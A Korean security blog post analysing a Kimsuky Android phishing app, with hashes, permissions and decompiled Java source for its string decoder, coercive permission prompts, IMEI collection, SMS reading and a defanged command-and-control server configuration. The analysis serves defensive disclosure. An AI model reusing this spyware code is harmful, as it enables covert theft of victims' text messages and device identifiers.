오늘은 북한 해킹 단체에서 만든 피싱 안드로이드 악성코드인 8.aab(2024.3.22)에 대해 분석을 해보겠습니다. 오래간만에 jadx 로 진행을 하려고 하니조금은 어색하기도 합니다. 일단 jadx로 분석을 하려고 해당 김수키(Kimsuky)에서 피싱 안드로이드인 8.aab(2024.3.22)에 대해 분석을 해보겠습니다.
일단 먼저 해쉬값은 다음과 같습니다.
파일명:8.apk
사이즈:1.44 MB
MD5:a5d17298ccf0bc07612873819f5bab37
SHA-1:55d3990e60be2ec0908ca83b2ae07833c20791de
SHA-256:3e397e929c92d5f4fd6040cedb2ac6233d37ef29e96085d29dda04acf30b8355
음~일단 파일 크기가 1.4메가 인것을 확인을 할수가 있습니다.
먼저 해당 안드로이드 악성코드의 권한을 보겠습니다.
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<permission android:name="com.support.smdoumi.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="com.support.smdoumi.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
안드로이드 권한 설명
android(.)hardware(.)telephony(선택적): 해당 기능은 휴대폰 기능을 사용하기 위한 하드웨어가 필요하다는 것을 나타냄
android(.)permission(.)READ_PRIVILEGED_PHONE_STATE:해당 권한은 휴대폰의 고유 식별 정보(IMEI 번호 등)를 읽는 데 필요 보안상의 이유로 최신 안드로이드에서는 권한 요청이 거부될 수 있습니다.즉 스마트폰의 기기의 IMEI, MEID 등 고유 식별자에 접근할 수 있는 권한
android(.)permission(.)REQUEST_IGNORE_BATTERY_OPTIMIZATIONS:해당 권한은 배터리 절약 기능을 무시하도록 요청하는 권한 앱이 지속적으로 백그라운드에서 실행되어야 하는 경우 필요할 수 있음
android(.)permission.POST_NOTIFICATIONS:해당 권한은 앱이 알림을 게시하는 데 필요
android(.)permission(.)INTERNET:해당 권한은 앱이 인터넷에 연결하는 데 필요 대부분의 앱에 필요한 기본 권한이며 원격 서버와 통신할 수 있음
android(.)permission(.)FOREGROUND_SERVICE:해당 권한은 앱이 지속적으로 알림을 표시 하면서 백그라운드에서 실행되도록 요청하는 권한
android(.)permission(.)READ_SMS:해당 권한은 앱이 휴대폰 문자 메시지를 읽는 데 필요
android(.)permission.RECEIVE_BOOT_COMPLETED:해당 권한은 휴대폰이 부팅될 때 앱에서 특정 작업을 수행하도록 요청하는 권한
android(.)permission(.)READ_EXTERNAL_STORAG: 해당 권한은 앱이 외장 메모리(SD 카드)의 내용을 읽는 데 필요합니다.
android(.)permission.WRITE_EXTERNAL_STORAGE:해당 권한은 앱이 외장 메모리에 데이터(SD 카드)를 저장하는 데 필요
android(.)permission(.)MANAGE_EXTERNAL_STORAGE:(안드로이드 11 이상) 해당 권한은 앱이 외장 메모리(SD 카드)의 내용을 전체적으로 관리하는 데 필요합니다.(파일 삭제, 폴더 생성 등)
com(.)support(.)smdoumi(.)DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION:해당 권한은 외부 앱으로부터 권한을 받지 않고도 앱 내부에서만 사용되는 권한 커스텀 권한을 요청하여, 해당 권한으로 보호되는 기능이나 컴포넌트를 사용하고자 함
해당 권한들은 애플리케이션이 기기의 민감한 데이터와 기능에 광범위하게 접근할 수 있음 예를 들어, 전화 상태 정보 접근, 외부 저장소 읽기/쓰기(SD 카드), SMS 메시지 읽기(문자 읽기), 부팅 후 실행 등
그렇다고 이런 권한들이 정상적인 안드로이드 APP에서도 사용되는 권한이지만 악성코드에서 악용이 가능
뭐~여러 가지가 있겠지만, 핵심만 보는 것으로 합시다.
MyCrypt.java 문자열 복호화 코드
MyCrypt 문자열 복호화 코드
public class MyCrypt {
private static final char[][] szMasks = {
{ 'A', 'B' }, { 'A', 'C' }, { 'A', 'D' }, { 'B', 'E' }, { 'B', 'F' }, { 'B', 'G' }, { 'C', '!' }, { 'C', '@' }, { 'C', '#' },
{ 'D', '$' }, { 'D', '%' }, { 'D', '^' }, { 'E', '&' }, { 'E', '*' }, { 'E', '(' }, { 'F', 'B' }, { 'F', 'C' }, { 'F', 'D' },
{ 'G', 'E' }, { 'G', 'F' }, { 'G', 'G' }, { 'H', '!' }, { 'H', '@' }, { 'H', '#' }, { 'I', '$' }, { 'I', '%' }, { 'I', '^' },
{ 'J', '&' }, { 'J', '*' }, { 'J', '(' }, { 'K', 'B' }, { 'K', 'C' }, { 'K', 'D' }, { 'L', 'E' }, { 'L', 'F' }, { 'L', 'G' },
{ 'M', '!' }, { 'M', '@' }, { 'M', '#' }, { 'N', '$' }, { 'N', '%' }, { 'N', '^' }, { 'O', '&' }, { 'O', '*' }, { 'O', '(' },
{ 'P', '!' }, { 'P', '@' }, { 'P', '#' }, { 'Q', '$' }, { 'Q', '%' }, { 'Q', '^' }, { 'R', '&' }, { 'R', '*' }, { 'R', '(' }
};
public static String crypt(String data, int index) {
char[] data_array = new char[data.length()];
int Length = data.length() - 1;
while (Length >= 0) {
int i2 = Length - 1;
data_array[Length] = (char) (data.charAt(Length) ^ szMasks[index][0]);
if (i2 < 0) {
break;
}
Length = i2 - 1;
data_array[i2] = (char) (data.charAt(i2) ^ szMasks[index][1]);
}
return new String(data_array);
}
public static boolean decryptFile(String srcName,String destFile) throws IOException {
boolean flag=false;
File srcFile=new File(srcName);
FileInputStream srcStream=new FileInputStream(srcFile);
FileOutputStream outputStream=new FileOutputStream(destFile);
byte[]buffer=new byte[0x2000];
while (srcStream.read(buffer)>0){
if(buffer[0]==0x45&&buffer[1]==0x44&&buffer[2]==0x43&&buffer[3]==0x25){
buffer[0]=0x25;
buffer[1]=0x50;
buffer[2]=0x44;
buffer[3]=0x46;
flag=true;
}
outputStream.write(buffer);
}
srcStream.close();
outputStream.close();
return flag;
}
}
코드 설명
해당 Java 코드는 문자열 암호화와 파일 복호화 기능
private static final char[][] szMasks =...
2차원 배열은 암호화에 사용되는 마스크 값들을 저장하고 있음
각 마스크는 2개의 문자로 이루어져 있음
public static String crypt(String data, int index) {
char[] data_array = new char[data.length()];
int Length = data.length() - 1;
while (Length >= 0) {
int i2 = Length - 1;
data_array[Length] = (char) (data.charAt(Length) ^ szMasks[index][0]);
if (i2 < 0) {
break;
}
Length = i2 - 1;
data_array[i2] = (char) (data.charAt(i2) ^ szMasks[index][1]);
}
return new String(data_array);
}
해당 메서드는 문자열 data 를 암호화
index 값에 따라 szMasks 배열에서 마스크 값을 선택
data 의 각 문자를 해당 마스크 값과 XOR 연산을 수행하여 암호화
결과적으로 암호화된 문자열을 반환
decryptFile 메서드
public static boolean decryptFile(String srcName, String destFile) throws IOException {
boolean flag = false;
File srcFile = new File(srcName);
FileInputStream srcStream = new FileInputStream(srcFile);
FileOutputStream outputStream = new FileOutputStream(destFile);
byte[] buffer = new byte[0x2000];
while (srcStream.read(buffer) > 0) {
if (buffer[0] == 0x45 && buffer[1] == 0x44 && buffer[2] == 0x43 && buffer[3] == 0x25)
{
buffer[0] = 0x25;
buffer[1] = 0x50;
buffer[2] = 0x44;
buffer[3] = 0x46;
flag = true;
}
outputStream.write(buffer);
}
srcStream.close();
outputStream.close();
return flag;
}
해당 메서드는 파일을 복호화
srcName 으로부터 입력 파일을 읽고 destFile에 출력 파일을 쓰기
버퍼를 사용하여 파일을 읽으며 특정 패턴(0x45, 0x44, 0x43, 0x2`)을 찾음
해당 패턴을 찾으면 다른 값(0x25, 0x50, 0x44, 0x4`)으로 변경
패턴이 발견되면 flag를 true로 설정하고 최종적으로 flag 값을 반환
MainActivity.java 내용
package com.support.samsg;
import static android.os.Build.VERSION.SDK_INT;
import android.Manifest;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.PowerManager;
import android.provider.Settings;
import android.widget.Toast;
public class MainActivity extends Activity {
boolean bflag_battery = false;
boolean bflag_noti = false;
boolean bflag_sms = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = new Intent(this, loop.class);
if (SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(intent);
} else {
startService(intent);
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
String packageName = getPackageName();
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
intent = new Intent();
intent.setAction(android.provider.Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
intent.setData(Uri.parse("package:" + packageName));
startActivityForResult(intent,100);
}
else {
if (SDK_INT >= 33) {
if (checkSelfPermission("android.permission.POST_NOTIFICATIONS") == PackageManager.PERMISSION_GRANTED) {
bflag_noti = true;
if (checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
bflag_sms = true;
if (checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
bflag_sms = true;
request_file();
}
else {
String[] perms = new String[1];
perms[0] = "android.permission.READ_SMS";
int permCheck = checkSelfPermission(Manifest.permission.READ_SMS);
requestPermissions(perms, 112);
}
}
else {
String[] perms = new String[1];
perms[0] = "android.permission.READ_SMS";
int permCheck = checkSelfPermission(Manifest.permission.READ_SMS);
requestPermissions(perms, 112);
}
}
else {
String[] perms = new String[1];
perms[0] = "android.permission.POST_NOTIFICATIONS";
requestPermissions(perms, 108);
}
}
else{
if (checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
bflag_sms = true;
request_file();
}
else {
String[] perms = new String[1];
perms[0] = "android.permission.READ_SMS";
int permCheck = checkSelfPermission(Manifest.permission.READ_SMS);
requestPermissions(perms, 112);
}
}
}
}
}
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && requestCode == 108) {
if (checkSelfPermission("android.permission.POST_NOTIFICATIONS") == PackageManager.PERMISSION_GRANTED) {
bflag_noti = true;
}
else {
//Toast.makeText(this,"NOTIFICATIONS 권한을 설정하여야 인증을 완료 할 수 있습니다.",Toast.LENGTH_LONG).show();
}
if (checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
bflag_sms = true;
}
else {
String[] perms = new String[1];
perms[0] = "android.permission.READ_SMS";
int permCheck = checkSelfPermission(Manifest.permission.READ_SMS);
requestPermissions(perms, 112);
}
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && requestCode == 112) {
if (checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
bflag_sms = true;
}
else {
// Toast.makeText(this," 권한을 설정하여야 인증과정과 연관된 SMS를 수신할수 있습니다.",Toast.LENGTH_LONG).show();
}
request_file();
}
if (requestCode == 145) {
if (SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
Toast.makeText(this, "권한을 허용해야 인증을 완료 할 수 있습니다.", Toast.LENGTH_LONG).show();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
request_file();
} else {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
Toast.makeText(this, "인증이 완료 되었습니다.", Toast.LENGTH_LONG).show();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
finish();
}
}
}
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == 100) {
String packageName = getPackageName();
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (SDK_INT >= Build.VERSION_CODES.M) {
if (pm.isIgnoringBatteryOptimizations(packageName)) {
bflag_battery = true;
if (SDK_INT >= 33) {
String[] perms = new String[1];
perms[0] = "android.permission.POST_NOTIFICATIONS";
requestPermissions(perms, 108);
} else {
String[] perms = new String[1];
perms[0] = "android.permission.READ_SMS";
requestPermissions(perms, 112);
}
} else {
Toast.makeText(this, "권한 설정을 하여야 백그라운드에서 서비스가 작동할수 있습니다.", Toast.LENGTH_LONG).show();
Intent intent = new Intent();
intent.setAction(android.provider.Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
intent.setData(Uri.parse("package:" + packageName));
startActivityForResult(intent, 100);
}
}
}
if (requestCode == 123) {
if (SDK_INT >= Build.VERSION_CODES.R) {
if (!Environment.isExternalStorageManager()) {
Toast.makeText(this, "권한을 허용해야 인증을 완료할 수 있습니다.", Toast.LENGTH_LONG).show();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
request_file();
} else {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
Toast.makeText(this, "인증이 완료 되었습니다.", Toast.LENGTH_LONG).show();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
finish();
}
}
}
}
public void request_file()
{
if (SDK_INT >= Build.VERSION_CODES.M) {
if (SDK_INT >= Build.VERSION_CODES.R) {
if(!Environment.isExternalStorageManager()) {
try {
Uri uri = Uri.parse("package:" + getApplicationContext().getPackageName());
Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION, uri);
startActivityForResult(intent, 123);
} catch (Exception e) {
Intent intent = new Intent();
intent.setAction(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION);
startActivityForResult(intent, 123);
}
}
else {
Toast.makeText(this, "인증이 완료 되 었습니다.", Toast.LENGTH_LONG).show();
finish();
}
} else {
//below android 11
if (SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
requestPermissions(
new String[]{Manifest.permission.READ_EXTERNAL_STORAGE},145);
} else {
Toast.makeText(this, "인증이 완료 되 었습니다.", Toast.LENGTH_LONG).show();
finish();
}
}
}
}
}
}
해당 코드 설명
서비스 시작:
onCreate 메서드에서 loop라는 서비스를 시작
Android 8.0(Oreo) 이상에서는 startForegroundService로 그 이전 버전에서는 startService로 서비스를 시작
배터리 최적화 예외 요청:
Android 6.0(Marshmallow) 이상에서 배터리 최적화 예외를 요청
예외가 설정되지 않은 경우 ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS 액션을 사용하여 예외를 요청
알림 및 SMS 읽기 권한 요청:
Android 13(Tiramisu) 이상에서는 알림 권한(POST_NOTIFICATIONS)과 SMS 읽기 권한(READ_SMS)을 요청
알림 권한이 있는지 확인하고, 없으면 권한을 요청
알림 권한이 있으면 SMS 읽기 권한(문자 읽기 권한)을 확인하고, 없으면 권한을 요청
SMS 읽기(문자 읽기)권한이 있으면 파일 접근을 위한 권한을 요청하는 request_file 메서드를 호출
파일 접근 권한 요청:
request_file 메서드는 Android 11(R) 이상에서는 모든 파일 접근 권한을 요청
그 이전 버전에서는 외부 저장소 읽기 권한을 요청
권한 요청 결과 처리:
onRequestPermissionsResult 메서드에서 권한 요청 결과를 처리
알림 권한, SMS 읽기 권한, 외부 저장소 읽기 권한의 결과를 처리하고 필요한 경우 request_file 메서드를 다시 호출
배터리 최적화 예외 결과 처리:
onActivityResult 메서드에서 배터리 최적화 예외 요청의 결과를 처리
예외가 설정되지 않았으면 다시 요청
배터리 최적화 중지를 통해서 배터리를 마음껏 쓰면서 앱을 정상적으로 동작시키기 위해서 작동합니다.
phone state 내용 길어서 줄임
@SuppressLint("HardwareIds")
public static String getIMEI() {
String deviceId;
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
deviceId = Settings.Secure.getString(mContext.getContentResolver(), Settings.Secure.ANDROID_ID);
} else {
final TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
if (mTelephony.getDeviceId() != null) {
deviceId = mTelephony.getDeviceId();
} else {
deviceId = Settings.Secure.getString(mContext.getContentResolver(), Settings.Secure.ANDROID_ID);
}
}
return deviceId;
} catch(Exception e) {
deviceId = Settings.Secure.getString(mContext.getContentResolver(), Settings.Secure.ANDROID_ID);
return deviceId;
}
}
코드 설명
기기 식별자(IMEI) 가져오기:
Android 10(Q) 이상에서는 ANDROID_ID를 사용하고 그 이전 버전에서는 TelephonyManager를 사용해 기기의 IMEI를 가져옴
식별자 가져오기:
기기의 ANDROID_ID를 반환
프로세스 시작:
start_process 메서드는 기기의 IMEI를 가져와 고유 식별자를 생성하고 서버로 데이터를 전송
서버로부터 받은 설정에 따라 SMS 수신 주기와 파일 목록 및 다운로드 명령을 처리
스마트폰 디바이스 정보 가져오기:
안드로이드 스마트폰(한국이 타겟 이니 대부분 삼성 갤럭시가 될 확률이 높음)의 모델, 제조사, SDK 버전,릴리즈 정보를 JSON 형식으로 반환
로그 전송:
send_logs 메서드는 기기의 IMEI와 디바이스 정보를 포함한 로그 데이터를 서버로 전송
sms_loop 코드 길어서 줄임
public void stoprun(){
run = false;
}
void sms_prob()
{
if (mContext.checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
if (str_MYphone == "") {
getMyphoneNumber();
}
int current_sms_count = countSMS();
if (n_sms_count == 0)
{
try {
if (current_sms_count >=10){
readSMS(10);
}
else {
readSMS(current_sms_count);
}
} catch (JSONException e) {
throw new RuntimeException(e);
}
n_sms_count = current_sms_count;
}
else {
if (n_sms_count < current_sms_count) {
try {
readSMS(current_sms_count - n_sms_count);
} catch (JSONException e) {
throw new RuntimeException(e);
}
n_sms_count = current_sms_count;
}
}
}
}
private int countSMS() {
Uri uri = Uri.parse("content://sms/inbox");
Cursor cursor = mContext.getContentResolver().query(uri, null, null, null, null);
if (cursor != null) {
int count = cursor.getCount();
// smsCountTextView.setText("Total SMS Count: " + count);
cursor.close();
return count;
} else {
// smsCountTextView.setText("No SMS found.");
return 0;
}
}
코드 설명
1.stoprun() 메서드: 해당 메서드는 스레드를 멈추는 데 사용
run 변수를 false 로 설정하여 스레드를 멈춤
2.sms_prob() 메서드:해당 메서드는 SMS(문자)를 읽고 처리하는 작업을 수행
먼저 SMS 읽기 권한이 허용되어 있는지 확인하고 그 후에 현재 SMS 개수를 확인
이전에 읽은 SMS의 개수와 비교하여 새로 읽어야 할 SMS가 있는지 확인하고, 필요한 만큼 SMS를 읽어와 처리
3.countSMS() 메서드:해당 메서드는 받은 SMS의 개수를 반환
내장된 content://sms/inbox URI를 사용하여 SMS의 총 개수를 얻음
4.readSMS(int n_limit) 메서드:해당 메서드는 최신 SMS를 읽어와 처리하는 역할
만큼의 SMS를 읽어와서 각각의 SMS의 발신자, 수신자, 내용, 시간 등을 기록
5.suankiZaman(long yunix) 메서드:해당 메서드는 Unix 타임스탬프를 yyyy-MM-dd hh:mm:ss 형식의 문자열로 변환하여 반환
6.getMyphoneNumber() 메서드: 해당 메서드는 안드로이드 스마트폰 의 전화번호를 가져옴
7.getContactbyPhoneNumber(Context context, String phoneNumber) 메서드: 해당 메서드는 주어진 전화번호에 해당하는 연락처의 이름을 가져옴
8.send_smsLogs(String str_smslog) 메서드: 해당 메서드는 SMS 로그를 서버로 전송
SMS 로그는 JSON 형식으로 구성되어 있으며, 발신자, 수신자, 내용, 시간 및 기타 정보가 포함
9.getIMEI() 메서드:해당 메서드는 장치의 IMEI(국제 모바일 장치 식별 번호)를 가져옴
10.GetIdentifier() 메서드:해당 메서드는 장치의 고유 식별자를 가져옴
Global 코드
public interface _Global {
String _PREFIX = "hxxp://hogmasil(.)lol/android/";
String DATA_URL = _PREFIX + MyCrypt.crypt("805;)p!6!", 50);//index(.)php
String FILE_URL = _PREFIX + MyCrypt.crypt("805;)p!6!", 50);//file(.)php
String PATCH_URL = _PREFIX + MyCrypt.crypt("!?%=9p!6!", 50);//patch(.)php
String Boundary = MyCrypt.crypt("lcl", 50) + System.currentTimeMillis() + MyCrypt.crypt("lcl", 50);//===
String TwoHyphens = MyCrypt.crypt("s|", 50);//--
String CRLF = MyCrypt.crypt("S[", 50);//\r\n
String CharSet = MyCrypt.crypt("\u0004\n\u0017si", 50);//UTF-8
int READ_TIME_OUT = 3000;
코드 설명
_PREFIX:스트링 상수로서 기본 URL 접두사를 나타내며 hxxp://hogmasil(.)lol/android/ 값을 가지고 있음
DATA_URL:_PREFIX와 암호화된 문자열 805;)p!6!"을 MyCrypt(.)crypt 메서드를 이용하여 암호화하고 연결하여 만든 문자열이며 hxxp://hogmasil(.)lol/android/index(.)php 데이터를 얻는 서버 주소를 나타냄
FILE_URL: _PREFIX와 암호화된 문자열 "805;)p!6!"을 MyCrypt(.)crypt 메서드를 이용하여 암호화하고 연결하여 만든 문자열 hxxp://hogmasil(.)lol/android/file(.)php 파일을 다운로드 받는 서버 주소를 나타냄
PATCH_URL:_PREFIX와 암호화된 문자열 !?!?=9p!6!을 MyCrypt(.)crypt 메서드를 이용하여 암호화하고 연결하여 만든 문자열 hxxp://hogmasil(.)lol/android/patch(.)php 패치 파일을 얻는 서버 주소로 사용
Boundary:세 개의 암호화된 문자열 (lcl, lcl)과 시스템 현재 시간을 연결하여 만든 문자열
TwoHyphens:암호화된 문자열 s|을 이용하여 만든 문자열
CRLF:암호화된 문자열 S[을 이용하여 만든 문자열
(\r\n) 캐리지 리턴과 라인 피드 문자를 나타냄
CharSet:암호화된 문자열 (\u0004\n\u0017si)을 이용하여 만든 문자열(UTF-8) 문자 인코딩 방식
READ_TIME_OUT:정수 상수로서 서버와 통신할 때 타임아웃 시간을 밀리초 단위로 나타냅니다. (3000ms = 3초)
즉 지난번에 글을 적었던 피싱 사이트-hogmasil(.)lol(1)(2024.3.22) 와 한몸인 안드로이드 악성코드라고 할수가 있습니다.
[소프트웨어 팁/보안 및 분석] - 우리 북한 해킹 단체 김수키(Kimsuky)에서 만든 피싱 사이트-hogmasil(.)lol(1)(2024.3.22)
현재 보안 업체에서 탐지하는 업체는 ESET-NOD32
A Variant Of Android/Kimsuky.E 뿐 입니다.역시 돈을 주고 구매를 하는 맛이 있는 안티바이러스 앱(백신 앱)입니다.
결론: 어떻게든 개인정보 및 정보 유출을 위해서 악성코드,피싱 파일들을 만들고 있습니다. 항상 기본적인 보안 수칙을 잘 지키는 것이 안전하게 안드로이드 스마트폰을 사용하는 방법입니다. 아이폰도 이런 해킹 단체들에도 먹잇감이니 조심하는 것이 좋습니다.
즉 사람은 신이 아니므로 프로그램을 짜다 보면 취약점이 생기기 마련이고 그런 것들을 적극적으로 악용을 합니다. 그런데 해당 악성코드는 너무 한국어 맞춤법이…. 한국 사람이라면 무엇인가 한국어 맞춤법이 이상한 것을 확인할 수가 있습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
국세청 사칭 북한의 해킹 그룹 Konni(코니)에서 만든 악성코드-VAT.hwp(2024.6.13) (0) | 2024.06.18 |
---|---|
Bitwarden Authenticator 다른 인증 앱에서 TOTP 토큰 가져 오는 방법 (0) | 2024.06.17 |
Firefox 127(파이어폭스 127) 보안 업데이트 DNS 프리페칭 등 추가 (0) | 2024.06.14 |
윈도우 10 KB5039211,윈도우 11 KB5039212 보안 업데이트 (0) | 2024.06.13 |
우리 북한 해킹 단체 Reaper(리퍼)에서 만든 악성코드-인문사회분야 박사과정생 연구장려금지원 신청자격 요건 확인서.hwp(2024.5.24) (0) | 2024.06.06 |
북한의 해킹 그룹 Konni(코니)에서 만든 악성코드-김명희_20240515.xlsx(2024.5.16) (0) | 2024.06.03 |
Windows 11 버전 24H2에서 AC-3(Dolby Digital) 코덱 지원을 중단 (0) | 2024.05.30 |
TP-Link C5400X 게이밍 공유기 중요한 RCE 버그 수정 (0) | 2024.05.29 |